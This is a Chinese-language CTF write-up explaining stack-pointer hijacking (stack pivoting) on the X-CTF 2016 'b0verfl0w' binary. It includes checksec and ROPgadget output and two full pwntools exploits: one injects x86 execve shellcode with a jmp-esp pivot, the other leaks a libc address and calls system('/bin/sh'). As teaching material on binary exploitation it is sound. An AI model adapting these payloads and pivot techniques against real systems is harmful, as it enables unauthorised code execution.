原理
正如它描述的,該技巧就是劫持棧指針指向攻擊者所能控制的內存處,然後在相應位置進行ROP。一般來說,我們可能在下述情況使用劫持棧指針。
- 可以控制棧溢出的字節數較少,難以構造較長的ROP鏈。
- 開啓了PIE保護,棧地址未知,我們可以將棧劫持到已知的區域。
- 其他漏洞難以利用,需要進行轉換,比如將棧劫持到推空間,從而在堆上寫rop及進行堆漏洞利用。
此外,棧指針劫持有以下幾個要求:
- 可以控制程序執行流
- 可以控制sp指針,一般來說控制棧指針會使用rop,常見的控制棧指針的gadgets一般是pop rsp/esp
例題
下載地址:X-CTF Quals 2016 - b0verfl0w
例行檢查checksec
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
IDA分析
- 讀取50個字節,s的空間有0x20,也就是32個字節,ebp佔4個字節,也就是還能溢出14個字節。
- 而且程序中沒有system函數和/bin/sh的字符串
兩種exp
使用棧指針劫持,直接向s中寫shellcode可以打通
思路如下圖:
- 向s中直接寫shellcode,不過一般的shellcode太長,需要小於0x20字節的shellcode。
- shellcode不夠0x20個字節的用任意字符填充
- 虛假的ebp地址
- 返回地址,ret相當於pop eip;jmp eip指令
- 執行到ret時,esp指向ret,pop eip執行完時,esp+4,指向sub esp指令處。
- 因爲ret地址處爲jmp esp。所以將這個地址pop出來賦給eip,jmp eip,跳到eip處,eip爲jmp esp,則再跳到esp處,就相當於跳到了sub esp指令處。
- sub esp offset;jmp esp這裏兩條指令,相當於使esp指向shellcode處,跳轉esp執行shellcode。
- 所以說第一個jmp指令爲跳轉到sub指令處,而第二個jmp指令爲跳轉到shellcode處。
- 需要注意的是:棧無論什麼時候都不會被初始化,也不會被清空。所以shellcode在內存中依然存在,可以控制esp來執行shellcode。
還需要查找一個jmp esp的gadgets
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary b0verfl0w --only 'jmp'
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp
Unique gadgets found: 4
sub esp offset;offset的確定
- 0x20的shellcode+padding
- 0x4的ebp
- 0x4的ret
- 加起來爲0x28
Exp編寫如下:
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
sh = process('b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
sub_esp_jmp = asm("sub esp,0x28;jmp esp")
payload = shellcode_x86 + (0x24 - len(shellcode_x86)) * 'a' + p32(jmp_esp) + sub_esp_jmp
sh.recv()
sh.sendline(payload)
sh.interactive()
泄露libc_main_start地址,確定libc版本,再使用system地址也可打通
- 通過puts函數泄露libc_main_start地址
- 確定libc版本
- 計算system地址與/bin/sh地址
- 最長的rop鏈僅需要12個字節,小於14個字節,可以打通。
- 具體步驟請看我的上篇博客,這裏不再展開
- 給出Exp
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
sh = process('b0verfl0w')
libc_main_addr = 0x0804a020
puts_addr = 0x080483d0
start_addr = 0x08048400
payload = 'a' * 36 + p32(puts_addr) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
last_four = sh.recvline()
last = last_four[-5:-1]
//切片將輸出的libc_main_start地址輸出來
real_libc_main = u32(last)
print "addr:" + hex(real_libc_main)
obj = LibcSearcher("__libc_start_main", real_libc_main)
addr_base = real_libc_main - obj.dump("__libc_start_main")
system_addr = addr_base + obj.dump("system")
binsh_addr = addr_base + obj.dump("str_bin_sh")
payload = 0x24 * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()
需要注意三點
- 這個程序有回顯,不能直接recv(4)來接收libc_main_start的地址,需要進行切片或使用recvuntil函數
- sh.recvuntil(".")
- addr = sh.recv(4)
- 建議編寫exp時,程序中都加上context.log_level = "DEBUG"這樣一句話,方便進行調試
- 32位系統libc裏面的地址一般是f7開頭的